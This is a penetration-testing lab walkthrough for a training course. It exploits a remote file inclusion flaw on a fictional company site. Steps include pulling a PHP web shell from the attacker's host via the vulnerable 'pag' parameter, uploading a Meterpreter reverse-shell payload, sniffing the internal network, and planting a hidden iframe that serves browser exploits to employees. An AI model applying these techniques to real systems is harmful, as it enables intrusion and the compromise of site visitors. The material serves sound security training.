© 2018 Caendra, Inc. - Hera For PTP - Blind Penetration Test
© 2018 Caendra, Inc. - Hera For PTP - Blind Penetration Test
• Metasploit
In this lab there are no tasks to follow. You are completely free to move in the lab
environment, choose your next steps, use your own exploit and skills and your preferred
tools. Moreover, in this lab you also have to use web application knowledge and
exploitation.
• Labs machines (like web server and internal organization machines) are not
connected to the internet.
• In order to connect to the target organization website, you have to insert the
following two static rules in your hosts file:
10.100.0.100 foocompany.com
10.100.0.100 members.foocompany.com
• Hosts path:
o Windows: C:\Windows\System32\drivers\etc\hosts
o Linux: /etc/hosts
The next page begins the lab solutions. Be sure to read them, only, when you have finished
your lab, or if you are stuck.
The following is a screenshot of our /etc/hosts file, with the two entries that will allow
us to connect to the organization website:
By adding the previous two lines, we are now able to browse the organization website:
The first test is to check and see if we are able to open the file directly from the browser.
Entering the file name in the address field, we can see, we are able to read the
announcement.txt file:
The second test to perform was to see if this website was vulnerable to File inclusion
vulnerabilities. First, we can check to see what would happen if we insert a URL instead of
a file. The file we can use to test this is the organization’s website URL
(http://foocompany.com):
There are several ways to achieve this goal, let's see some of them.
In order to exploit this vulnerability, we can use Metasploit, as it offers a specific module
that allows you to exploit RFI vulnerabilities, called php_include. The following is
an example of the exploit configuration.
NOTE
When replicating this exploit, you may not be dropped into a meterpreter shell after a
session is opened, but we can hit the <enter> key after the session is opened, and then
interact with our session to get our meterpreter shell prompt:
Active sessions
===============
meterpreter >
This exploit method was partially successful. It was able to create a Meterpreter session,
but the session it would quickly die after some time, usually about 20 seconds or so.
We need to determine another method we can use to exploit this vulnerability. One way is
to quickly upload a PHP Shell or some other payload while our session is active, within our
20 second time-frame. In this case, we’ll upload self-generated Metasploit reverse tcp
payload executable, and then use another php include exploit to execute our executable
once our payload has been uploaded to the target web server.
First, let's create a Meterpreter Windows Reverse TCP payload using msfvenom:
Now, we need to upload this executable. First, since our first meterpreter has died, we need
to rerun the original php_include exploit module.
After we re-run the original exploit, and as soon as the session is opened, we need to
quickly interact with our session, and execute an upload command. The session should stay
alive just enough time for us to get our payload executable uploaded to the target.
We now have our secondary payload uploaded to the target web server.
At this point, we need to find a way to execute our uploaded shell.exe payload.
First, let’s make sure we have a handler up and listening ready for an incoming connection
from our payload once we execute it.
Next, in order to execute our payload which we’ve uploaded to the web server, we can use
the php/exec payload along with our previous php_include exploit module. Going
back to the exploit/unix/webapp/php_include module, we set a new payload, and our CMD
value, which is the name of our shell.exe executable:
Active sessions
===============
A second alternative method for exploitation would have been to use a PHP Web Shell.
NOTE: Since, the machines in the lab are not connected to the internet, we must
provide the web-shell from our machine. To do this, there are several alternatives, we
will start a local webserver.
There are many PHP web shells we can use for our purposes, among the famous ones
there are c99, b374k, r57 and several more. In this example, we’re using the b374k
PHP shell.
To use the PHP web-shell, we would first need to host it on our attacker machine. We can
use python’s SimpleHTTPServer module to quickly stand-up a web server on port 80 on
our attacker machine from the same directory where our php shell is located:
Next, we can use the RFI vulnerability to call our PHP shell on our attacker machine from
the web server:
URL: http://members.foocompany.com/index.php?pag=http://172.16.5.20/shell
<?php
if(isset($_POST["submit"])) {
$name = $_FILES['file_upload']['name'];
// Check for errors
if($_FILES['file_upload']['error'] > 0) die('An error ocurred');
// Upload file
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'],$name))
die('Error uploading');
Once we have control of the victim server, we can start searching for useful information
that can help us reach our goals. Since this is the only connection between us and the
organization’s network (members area is browsed by organization employees), we can
think about how we can use the server to gain access to the organization’s machines.
The first step was to use the victim server to perform sniffing on network and try to detect
any active devices. To do this, we can use the included Meterpreter module: sniffer.
We opt for this module because there is no need to install any software on the target web
server machine, giving us a great idea of what we may want to pivot to, based on the traffic
other potential targets are sending. Sniffer was configured as follows:
We can then analyze the results of the packet capture with WireShark:
Once inside Wireshark, we can navigate to Statistics > Endpoints menu, and see that
there are two additional addresses in the victim network:
Analyzing the network traffic, we can also see that both of those machines try to connect to
the server and, both have outdated and vulnerable version of Java.
We can also determine through the packet capture, that both machines are attempting to
login to the members area. To continue the penetration test we can attempt to edit the
members webpage, and furthermore, insert a malicious frame that could point to a Java
exploit. This could potentially result in the compromise of client machines, and further our
foothold within the environment.
• auxiliary/server/browser_autopwn
• exploit/multi/browser/java_rhino
The first (browser_autopwn), uses a number of different browser exploits, while the
second (java_rhino) is more specific for our environment, since the clients found are both
vulnerable to this exploit. The reason why we choose to also use the “browser_autopwn”
module, is that we don’t know if there are other workstations vulnerable to different
exploits. This helps us maximize our chances of entering the corporate network through a
client-side exploit.
[*] Setup
We can then insert this URL in the members area of the webserver.
This gives us another URL that we can use to exploit the target organization corporate
network.
Next, we inject a hidden iframe in the members area home page that loads our malicious
page each time someone visits the page.
To insert the code, we can use the Meterpreter session to download the index.php file.
Then, we can add the following code, and re-upload the index.php file to the web server:
…
if (isset($_GET['pag'])){
$variabile1=$_GET['pag'];
include($variabile1);
}else{
…
All we have to do is wait for one of the vulnerable clients to visit the members page:
Here is where we turn over the rest of the penetration test to you. There is much more to
be discovered. Document your work and don’t leave any stone untouched.